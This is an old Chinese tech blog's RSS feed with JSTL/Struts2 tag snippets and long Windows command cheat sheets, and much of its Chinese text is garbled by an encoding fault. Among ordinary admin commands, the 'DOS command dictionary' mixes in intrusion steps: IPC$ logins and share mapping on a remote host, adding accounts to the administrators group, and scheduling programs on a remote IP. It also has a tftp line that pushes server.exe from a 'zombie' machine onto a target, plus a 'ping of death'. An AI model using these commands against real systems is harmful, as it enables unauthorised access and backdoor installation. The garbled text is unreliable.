rgb(0,128,128)"> 7</span> <span style="color: rgb(0,128,0)"><!--</span><span style="color: rgb(0,128,0)"> 传递参数到指定的URL </span><span style="color: rgb(0,128,0)">--></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 8</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:import </span><span style="color: rgb(255,0,0)">url</span><span style="color: rgb(0,0,255)">="hello.jsp"</span><span style="color: rgb(255,0,0)"> charEncoding</span><span style="color: rgb(0,0,255)">="gb2312"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 9</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:param </span><span style="color: rgb(255,0,0)">name</span><span style="color: rgb(0,0,255)">="userName"</span><span style="color: rgb(255,0,0)"> value</span><span style="color: rgb(0,0,255)">="cyanbomb"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">10</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">c:import</span><span style="color: rgb(0,0,255)">><br /> </span><span style="color: rgb(0,128,128)">11</span> <span style="color: rgb(0,128,0)"><!--</span><span style="color: rgb(0,128,0)"> URL重定?nbsp;</span><span style="color: rgb(0,128,0)">--></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">12</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:redirect </span><span style="color: rgb(255,0,0)">url</span><span style="color: rgb(0,0,255)">="${myurl}"</span> <span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">13</span> <span style="color: rgb(0,128,0)"><!--</span><span style="color: rgb(0,128,0)"> 构造URL </span><span style="color: rgb(0,128,0)">--></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">14</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:url </span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="myurl"</span><span style="color: rgb(255,0,0)"> var</span><span style="color: rgb(0,0,255)">="hello.jsp"</span><span style="color: rgb(255,0,0)"> scope</span><span style="color: rgb(0,0,255)">="session"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">15</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:param </span><span style="color: rgb(255,0,0)">name</span><span style="color: rgb(0,0,255)">="userName"</span><span style="color: rgb(255,0,0)"> value</span><span style="color: rgb(0,0,255)">="cyanbomb"</span> <span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">16</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">c:url</span><span style="color: rgb(0,0,255)">></span><br /> </div>     Struts2:<br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /> <br /> Code highlighting produced by Actipro CodeHighlighter (freeware)<br /> http://www.CodeHighlighter.com/<br /> <br /> --><span style="color: rgb(0,128,128)">1</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">a </span><span style="color: rgb(255,0,0)">href</span><span style="color: rgb(0,0,255)">='<s:url </span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="/hello.jsp"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,255)">'</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)">Hello</span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">a</span><span style="color: rgb(0,0,255)">><</span><span style="color: rgb(128,0,0)">br </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">2</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:url </span><span style="color: rgb(255,0,0)">id</span><span style="color: rgb(0,0,255)">="url"</span><span style="color: rgb(255,0,0)"> value</span><span style="color: rgb(0,0,255)">="/hello.jsp"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">3</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:param </span><span style="color: rgb(255,0,0)">name</span><span style="color: rgb(0,0,255)">="name"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)">cyanbomb</span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:param</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">4</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:url</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)">        <br /> </span><span style="color: rgb(0,128,128)">5</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:a </span><span style="color: rgb(255,0,0)">href</span><span style="color: rgb(0,0,255)">="%{url}"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)">Hello</span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:a</span><span style="color: rgb(0,0,255)">></span></div> <br /> 解除的疑问,list遍历问题<br /> <img alt="" src="http://www.tkk7.com/images/blogjava_net/cyanbomb/list.jpg" /><br /> 像这样一个list,里面?条记?每条记录包含两个对象,我把l果?lstRooms)requestC面,想遍历显CRrmRooms里的id,和RrmRoomType里的name.<br /> 我用JSTL实现如下:<br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /> <br /> Code highlighting produced by Actipro CodeHighlighter (freeware)<br /> http://www.CodeHighlighter.com/<br /> <br /> --><span style="color: rgb(0,128,128)">1</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">table</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">2</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:forEach </span><span style="color: rgb(255,0,0)">var</span><span style="color: rgb(0,0,255)">="rm"</span><span style="color: rgb(255,0,0)"> items</span><span style="color: rgb(0,0,255)">="${lstRooms}"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">3</span> <span style="color: rgb(0,0,0)">        </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">tr</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">4</span> <span style="color: rgb(0,0,0)">            </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">td</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)">${rm[0].id}</span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">td</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">5</span> <span style="color: rgb(0,0,0)">            </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">td</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)">${rm[1].name}</span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">td</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">6</span> <span style="color: rgb(0,0,0)">        </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">tr</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">7</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">c:forEach</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">8</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">table</span><span style="color: rgb(0,0,255)">></span></div> STRUTS2实现如下:<br /> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" /><span style="color: #0000ff"><</span><span style="color: #800000">table</span><span style="color: #0000ff">></span><span style="color: #000000"><br /> </span><span style="color: #008080">2</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />     </span><span style="color: #0000ff"><</span><span style="color: #800000">s:iterator </span><span style="color: #ff0000">value</span><span style="color: #0000ff">="#lstRooms"</span><span style="color: #ff0000"> status</span><span style="color: #0000ff">="stat"</span><span style="color: #0000ff">></span><span style="color: #000000"><br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />         </span><span style="color: #0000ff"><</span><span style="color: #800000">tr</span><span style="color: #0000ff">></span><span style="color: #000000"><br /> </span><span style="color: #008080">4</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />             </span><span style="color: #0000ff"><</span><span style="color: #800000">td</span><span style="color: #0000ff">><</span><span style="color: #800000">s:property </span><span style="color: #ff0000">value</span><span style="color: #0000ff">="#lstRooms[#stat.index][0].id"</span><span style="color: #ff0000"> </span><span style="color: #0000ff">/></</span><span style="color: #800000">td</span><span style="color: #0000ff">></span><span style="color: #000000"><br /> </span><span style="color: #008080">5</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />             </span><span style="color: #0000ff"><</span><span style="color: #800000">td</span><span style="color: #0000ff">><</span><span style="color: #800000">s:property </span><span style="color: #ff0000">value</span><span style="color: #0000ff">="#lstRooms[#stat.index][1].name"</span><span style="color: #ff0000"> </span><span style="color: #0000ff">/></</span><span style="color: #800000">td</span><span style="color: #0000ff">></span><span style="color: #000000"><br /> </span><span style="color: #008080">6</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />         </span><span style="color: #0000ff"><</span><span style="color: #800000">tr</span><span style="color: #0000ff">></span><span style="color: #000000"><br /> </span><span style="color: #008080">7</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />     </span><span style="color: #0000ff"></</span><span style="color: #800000">s:iterator</span><span style="color: #0000ff">></span><span style="color: #000000"><br /> </span><span style="color: #008080">8</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" /></span><span style="color: #0000ff"></</span><span style="color: #800000">table</span><span style="color: #0000ff">></span></div> <br /> 待更?..<br /> <br /> ----------------------------<br /> <span style="font-family: 隶书"><span style="color: red">珍惜原创,谢绝盗版! <span style="color: rgb(0,0,255)">- cYanbomb</span></span></span><br /> <img src ="http://www.tkk7.com/cyanbomb/aggbug/171440.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-29 11:15 <a href="http://www.tkk7.com/cyanbomb/archive/2007/12/29/171440.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>计算?/title><link>http://www.tkk7.com/cyanbomb/archive/2007/12/28/171095.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Fri, 28 Dec 2007 02:20:00 GMT</pubDate><guid>http://www.tkk7.com/cyanbomb/archive/2007/12/28/171095.html</guid><wfw:comment>http://www.tkk7.com/cyanbomb/comments/171095.html</wfw:comment><comments>http://www.tkk7.com/cyanbomb/archive/2007/12/28/171095.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/cyanbomb/comments/commentRss/171095.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/cyanbomb/services/trackbacks/171095.html</trackback:ping><description><![CDATA[     摘要:       1. file n. 文gQv. 保存文g       2. command n. 命oQ指?       3. use v. 使用Q用?       4. program n. E序 &nbs...  <a href='http://www.tkk7.com/cyanbomb/archive/2007/12/28/171095.html'>阅读全文</a><img src ="http://www.tkk7.com/cyanbomb/aggbug/171095.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-28 10:20 <a href="http://www.tkk7.com/cyanbomb/archive/2007/12/28/171095.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>|络命ohttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171092.htmlcyanbombcyanbombFri, 28 Dec 2007 02:16:00 GMThttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171092.htmlhttp://www.tkk7.com/cyanbomb/comments/171092.htmlhttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171092.html#Feedback0http://www.tkk7.com/cyanbomb/comments/commentRss/171092.htmlhttp://www.tkk7.com/cyanbomb/services/trackbacks/171092.html1.最基本Q最常用的,试物理|络?/span>
ping 192.168.10.88 
Q?/span>Q参敎ͼt是等待用户去中断试

2.查看DNS?/span>IP?/span>Mac{?/span>
A.Win98
Q?/span>winipcfg
B.Win2000
以上Q?/span>Ipconfig/all

C.NSLOOKUPQ如查看沛_?/span>DNS
C:">nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 
则将DNS改ؓ?/span>41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68

Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212

3.|络信
Net send 
计算机名/IP|* (q播传送内容,注意不能跨网D?/span>
net stop messenger 
停止信服务Q也可以在面板-服务修改
net start messenger 
开始信使服?/span>

4.探测Ҏ(gu)Ҏ(gu)计算机名Q所在的l、域及当前用户名
ping 
Q?/span>a IP Q?/span>Q只昄NetBios?/span>
nbtstat -a 192.168.10.146 
比较全的

5.netstat -a 昄Z的计机当前所开攄所有端?/span>
netstat -s -e 
比较详细的显CZ的网l资料,包括TCP?/span>UDP?/span>ICMP ?/span> IP的统计等

6.探测arpl定Q动态和静态)列表Q显C所有连接了我的计算机,昄Ҏ(gu)IP?/span>MAC地址
arp -a

7.在代理服务器?/span>
捆绑IP?/span>MAC地址Q解军_域网内盗?/span>IPQ?/span>
ARP 
Q?/span>s 192.168.10.59 00Q?/span>50Q?/span>ffQ?/span>6cQ?/span>08Q?/span>75
解除|卡?/span>IP?/span>MAC地址的绑定:
arp -d 
|卡IP

8.在网l邻居上隐藏你的计算?/span>
net config server /hidden:yes
net config server /hidden:no 
则ؓ开?/span>

9.几个net命o
A.
昄当前工作l服务器列表 net viewQ当不带选项使用本命令时Q它?yu)׃昄当前域或|络上的计算Z的列表?/span>
比如Q查看这?/span>IP上的׃n资源Q就可以
C:">net view 192.168.10.8
?/span> 192.168.10.8 的共享资?/span>
资源׃n?/span> cd 用?/span> 注释
--------------------------------------
|站服务 Disk
命o成功完成?/span>

B.查看计算Z的用户帐号列?/span> net user
C.
查看|络链接 net use
例如Q?/span>net use z: ""192.168.10.8"movie 这?/span>IP?/span>movie׃n目录映射为本地的Z?/span>

D.记录链接 net session
例如Q?/span>
C:">net session
计算?/span> 用户?/span> 客户cd 打开I闲旉
-------------------------------------------------------------------------------
""192.168.10.110 ROME Windows 2000 2195 0 00:03:12

""192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命o成功完成?/span>

10.路由跟踪命o
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 
除了昄路由外,q提?/span>325S的分析,计算丢失包的Q?/span>

11.关于׃n安全的几个命?/span>
A.
查看你机器的׃n资源 net share
B.
手工删除׃n
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$后有I格?/span>
C.
增加一个共享:
c:"net share mymovie=e:"downloads"movie /users:1
mymovie 
׃n成功?/span>
同时限制链接用户Cؓ1人?/span>

12.?/span>DOS行下讄静?/span>IP
A.
讄静?/span>IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "
本地链接" static IP地址 mask gateway
B.
查看IP
interface ip>show address

13Q?/span>Nbtstat 是解?NetBIOS 名称解析问题的有用工兗可以用nbtstat 命o删除或更正预加蝲的项目:

nbtstat -n 昄由服务器或重定向器之cȝE序在系l上本地注册的名U?span>
nbtstat -c 昄 NetBIOS 名称~存Q包含其他计机的名U对地址映射?span>
nbtstat -R 清除名称~存Q然后从 Lmhosts 文g重新加蝲?span>
nbtstat -RR 释放?WINS 服务器上注册?NetBIOS 名称Q然后刷新它们的注册?span>
nbtstat -a name ?name 指定的计机执行 NetBIOS 适配器状态命令。适配器状态命令将

q回计算机的本地 NetBIOS 名称表,以及适配器的媒体讉K控制地址?

nbtstat -S 列出当前?NetBIOS 会话及其状态(包括l计Q?/span>

15Q?span>C:"> tracert 172.16.0.99 -d
Tracing route to 172.16.0.99 over a maximum of 30 hops
1 2s 3s 2s 10,0.0,1
2 75 ms 83 ms 88 ms 192.168.0.1
3 73 ms 79 ms 93 ms 172.16.0.99
Trace complete.



cyanbomb 2007-12-28 10:16 发表评论
]]>
DOS命o字典http://www.tkk7.com/cyanbomb/archive/2007/12/28/171088.htmlcyanbombcyanbombFri, 28 Dec 2007 02:13:00 GMThttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171088.htmlhttp://www.tkk7.com/cyanbomb/comments/171088.htmlhttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171088.html#Feedback0http://www.tkk7.com/cyanbomb/comments/commentRss/171088.htmlhttp://www.tkk7.com/cyanbomb/services/trackbacks/171088.html net use ""ip"ipc$ "密码" /user:"用户? 建立IPC非空链接
net use h: ""ip"c$ "密码" /user:"用户? 直接登陆后映对方CQ到本地为H:
net use h: ""ip"c$ 登陆后映对方CQ到本地为H:
net use ""ip"ipc$ /del 删除IPC链接
net use h: /del 删除映射Ҏ(gu)到本地的为H:的映?
net user 用户名 密码 /add 建立用户
net user guest /active:yes Ȁzguest用户
net user 查看有哪些用?
net user 帐户?查看帐户的属?
net localgroup ***istrators 用户?/add ?#8220;用户”d到管理员中其具有管理员权限,注意Q?**istrator后加s用复?
net start 查看开启了哪些服务
net start 服务名  开启服务;(?net start telnetQ?net start schedule)
net stop 服务?停止某服?
net time ""目标ip 查看Ҏ(gu)旉
net time ""目标ip /set 讄本地计算机时间与“目标IP”L的时间同?加上参数/yes可取消确认信?
net view 查看本地局域网内开启了哪些׃n
net view ""ip 查看Ҏ(gu)局域网内开启了哪些׃n
net config 昄pȝ|络讄
net logoff 断开q接的共?
net pause 服务?暂停某服?
net send ip "文本信息" 向对方发信息
net ver 局域网内正在用的|络q接cd和信?
net share 查看本地开启的׃n
net share ipc$ 开启ipc$׃n
net share ipc$ /del 删除ipc$׃n
net share c$ /del 删除CQ共?
net user guest 12345 用guest用户登陆后用密码改?2345
net password 密码 更改pȝ登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网l连接情况,常用netstat -an
netstat -v 查看正在q行的工?
netstat -p 协议?例:netstat -p tcq/ip 查看某协议用情况(查看tcp/ip协议使用情况Q?
netstat -s 查看正在使用的所有协议用情?
nbtstat -A ip Ҏ(gu)136?39其中一个端口开了的话,可查看Ҏ(gu)最q登陆的用户名(03前的为用户名Q?注意Q参?A要大?
tracert -参数 ip(或计机? 跟踪路由Q数据包Q,参数Q?#8220;-w数字”用于讄时间隔?
ping ip(或域? 向对方主机发送默认大ؓ32字节的数据,参数Q?#8220;-l[I格]数据包大?#8221;Q?#8220;-n发送数据次?#8221;Q?#8220;-t”指一直ping?
ping -t -l 65550 ip M之ping(发送大?4K的文件ƈ一直ping成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址Qipconfig可用参数“/all”昄全部配置信息
tlist -t 以树行列表显CE?为系l的附加工具Q默认是没有安装的,在安装目录的Support/tools文g夹内)
kill -F q程??F参数后强制结束某q程(为系l的附加工具Q默认是没有安装的,在安装目录的Support/tools文g夹内)
del -F 文g??F参数后就可删除只L?/AR?AH?AS?AA分别表示删除只读、隐藏、系l、存档文Ӟ/A-R?A-H?A-S?A-A表示删除除只诅R隐藏、系l、存档以外的文g。例?#8220;DEL/AR *.*”表示删除当前目录下所有只LӞ“DEL/A-S *.*”表示删除当前目录下除pȝ文g以外的所有文?br />
#2 二:

del /S /Q 目录 或用Qrmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时用参?Q 可取消删除操作时的系l确认就直接删除。(二个命o作用相同Q?
move 盘符"路径"要移动的文g名 存放Ud文g的\?Ud后文件名 Ud文g,用参?y取消确认移动目录存在相同文件的提示q接覆?
fc one.txt two.txt > 3st.txt Ҏ(gu)二个文gq把不同之处输出?st.txt文g中,"> "?> >" 是重定向命o
at id?开启已注册的某个计划Q?
at /delete 停止所有计划Q务,用参?yes则不需要确认就直接停止
at id?/delete 停止某个已注册的计划d
at 查看所有的计划d
at ""ip time E序?或一个命? /r 在某旉q行Ҏ(gu)某程序ƈ重新启动计算?
finger username @host 查看最q有哪些用户登陆
telnet ip 端口 q和登陆服务?默认端口?3
open ip q接到IPQ属telnet登陆后的命oQ?
telnet 在本Z直接键入telnet 进入本机的telnet
copy 路径"文g? 路径"文g? /y 复制文g1到指定的目录为文?Q用参数/y同时取消确认你要改写一份现存目录文?
copy c:"srv.exe ""ip"***$ 复制本地c:"srv.exe到对方的***?
cppy 1st.jpg/b+2st.txt/a 3st.jpg ?st.txt的内容藏w到1st.jpg中生?st.jpg新的文gQ注Q?st.txt文g头要IZ排,参数Q?b指二q制文gQ?a指ASCLL格式文g
copy ""ip"***$"svv.exe c:" ?copy""ip"***$"*.* 复制Ҏ(gu)***i$׃n下的srv.exe文gQ所有文Ӟx地CQ?
xcopy 要复制的文g或目录树 目标地址"目录?复制文g和目录树Q用参数/Y不提示覆盖相同文g
tftp -i 自己IP(用肉Zx时这用肉机IP) get server.exe c:"server.exe 登陆后,?#8220;IP”的server.exe下蝲到目标主机c:"server.exe 参数Q?i指以二进制模式传送,如传送exe文g时用Q如不加-i 则以ASCII模式Q传送文本文件模式)q行传?
tftp -i Ҏ(gu)IP put c:"server.exe 登陆后,上传本地c:"server.exe至主?
ftp ip 端口 用于上传文gx务器或进行文件操作,默认端口?1。bin指用二进制方式传送(可执行文件进Q;默认为ASCII格式传?文本文g?
route print 昄出IP路由Q将主要昄|络地址Network addresQ子|掩码NetmaskQ网兛_址Gateway addresQ接口地址Interface
arp 查看和处理ARP~存QARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a显C出全部信息
start E序名或命o /max ?min 新开一个新H口q最大化Q最化Q运行某E序或命?
mem 查看cpu使用情况
attrib 文g?目录? 查看某文Ӟ目录Q的属?
attrib 文g?-A -R -S -H ?+A +R +S +H L(d)某文件的 存档Q只读,pȝQ隐?属性;用+则是d为某属?
dir 查看文gQ参敎ͼ/Q昄文g及目录属pȝ哪个用户Q?T:C昄文g创徏旉Q?T:A昄文g上次被访问时_/T:W上次被修Ҏ(gu)?
date /t ?time /t 使用此参数即“DATE/T”?#8220;TIME/T”只昄当前日期和时_而不必输入新日期和时?
set 指定环境变量名称=要指z变量的字W?讄环境变量
set 昄当前所有的环境变量
set p(或其它字W? 昄出当前以字符p(或其它字W?开头的所有环境变?
pause 暂停批处理程序,q显C出Q请按Q意键l箋....
if 在批处理E序中执行条件处理(更多说明见if命o及变量)
goto 标签 cmd.exe导向到批处理E序中带标签的行Q标{ֿd独一行,且以冒号打头Q例如:“Qstart”标签Q?
call 路径"批处理文件名 从批处理E序中调用另一个批处理E序 Q更多说明见call /?Q?
for 对一l文件中的每一个文件执行某个特定命令(更多说明见for命o及变量)
echo on或off 打开或关闭echoQ仅用echo不加参数则显C当前echo讄
echo 信息 在屏q上昄Z?
echo 信息 >> pass.txt ?信息"保存到pass.txt文g?
findstr "Hello" aa.txt 在aa.txt文g中寻扑֭W串hello
find 文g?查找某文?
title 标题名字 更改CMDH口标题名字
color 颜色?讄cmd控制台前景和背景颜色Q?Q黑?Q蓝?Q绿?Q浅lѝ?Q红?Q?Q黄?=白?=灰?=淡蓝、AQElѝB=淡浅lѝC=淡红、D=淡、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显C的命o提示W?把C:"、D:"l一改ؓQEntSky" )

#3 三:

ver 在DOSH口下显C版本信?
winver 弹出一个窗口显C版本信息(内存大小、系l版本、补丁版本、计机名)
format 盘符 /FS:cd 格式化磁?cd:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录?创徏目录
replace 源文件 要替换文件的目录 替换文g
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显C出目录Q用参数-f 列出第个文件夹中文件名U?
type 文g?昄文本文g的内?
more 文g?逐屏昄输出文g
doskey 要锁定的命oQ字W?br /> doskey 要解锁命? 为DOS提供的锁定命?~辑命o行,重新调用win2k命oQƈ创徏?。如Q锁定dir命oQdoskey dir=entsky (不能用doskey dir=dir)Q解锁:doskey dir=
taskmgr 调出d理?
chkdsk /F D: 查磁盘Dq显C状态报告;加参?fq修复磁盘上的错?
tlntadmn telnt服务admn,键入tlntadmn选择3Q再选择8,可以更改telnet服务默认端口23为其它Q何端?
exit 退出cmd.exeE序或目前,用参?B则是退出当前批处理脚本而不是cmd.exe
path 路径"可执行文件的文g?为可执行文g讄一个\径?
cmd 启动一个win2K命o解释H口。参敎ͼ/eff?en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无Q何提C;
regedit /e 注册表文件名 导出注册?
cacls 文g名 参数 昄或修Ҏ(gu)件访问控制列表(ACLQ——针对NTFS格式时。参敎ͼ/D 用户?讑֮拒绝某用戯问;/P 用户?perm 替换指定用户的访问权限;/G 用户?perm 赋予指定用户讉K权限QPerm 可以? N 无,R dQ?W 写入Q?C 更改(写入)QF 完全控制Q例Qcacls D:"test.txt /D pub 讑֮d:"test.txt拒绝pub用户讉K?
cacls 文g?查看文g的访问用h限列?
REM 文本内容 在批处理文g中添加注?
netsh 查看或更Ҏ(gu)地网l配|情?br />
#4 四:

IIS服务命oQ?
iisreset /reboot 重启win2k计算机(但有提示pȝ重启信息出玎ͼ
iisreset /start或stop 启动Q停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 昄所有Internet服务状?
iisreset /enable或disable 在本地系l上启用Q禁用)Internet服务的重新启?
iisreset /rebootonerror 当启动、停止或重新启动Internet服务Ӟ若发生错误将重新开?
iisreset /noforce 若无法停止Internet服务Q将不会强制l止Internet服务
iisreset /timeout Val在到N时_U)Ӟ仍未停止Internet服务Q若指定/rebootonerror参数Q则?sh)脑会重新开机。预讑րgؓ重新启动20U,停止60U,重新开?U?
FTP 命oQ?(后面有详l说明内?
ftp的命令行格式?
ftp Qv Qd Qi Qn Qg[L名] Qv 昄q程服务器的所有响应信息?br /> Qd 使用调试方式?
Qn 限制ftp的自动登?即不使用.netrc文g?br /> Qg 取消全局文g名?
help [命o] ?Q[命o] 查看命o说明
bye ?quit l止LFTPq程,q出FTP理方式.
pwd 列出当前q端L目录
put ?send 本地文g?[上传CZ的文件名] 本C个文件传送至q端L?
get ?recv [q程L文g名] [下蝲到本地后的文件名] 从远端主Z传送至本地L?
mget [remote-files] 从远端主机接收一Ҏ(gu)件至本地L
mput local-files 本CZ一Ҏ(gu)件传送至q端L
dir ?ls [remote-directory] [local-file] 列出当前q端L目录中的文g.如果有本地文?将l果写至本地文g
ascii 讑֮以ASCII方式传送文?~省?
bin ?image 讑֮以二q制方式传送文?
bell 每完成一ơ文件传?报警提示
cdup q回上一U目?
close 中断与远E服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连?可指定连接端?
delete 删除q端L中的文g
mdelete [remote-files] 删除一Ҏ(gu)?
mkdir directory-name 在远端主Z建立目录
rename [from] [to] 改变q端L中的文g?
rmdir directory-name 删除q端L中的目录
status 昄当前FTP的状?
system 昄q端Lpȝcd
user user-name [password] [account] 重新以别的用户名dq端L
open host [port] 重新建立一个新的连?
prompt 交互提示模式
macdef 定义宏命?
lcd 改变当前本地L的工作目?如果~省,p{到当前用LHOME目录
chmod 改变q端L的文件权?
case 当ؓON?用MGET命o拯的文件名到本地机器中,全部转换为小写字?
cd remoteQdir q入q程L目录
cdup q入q程L目录的父目录
! 在本地机中执行交互shellQexit回到ftp环境,?lsQ?zip

#5 五:

MYSQL 命oQ?
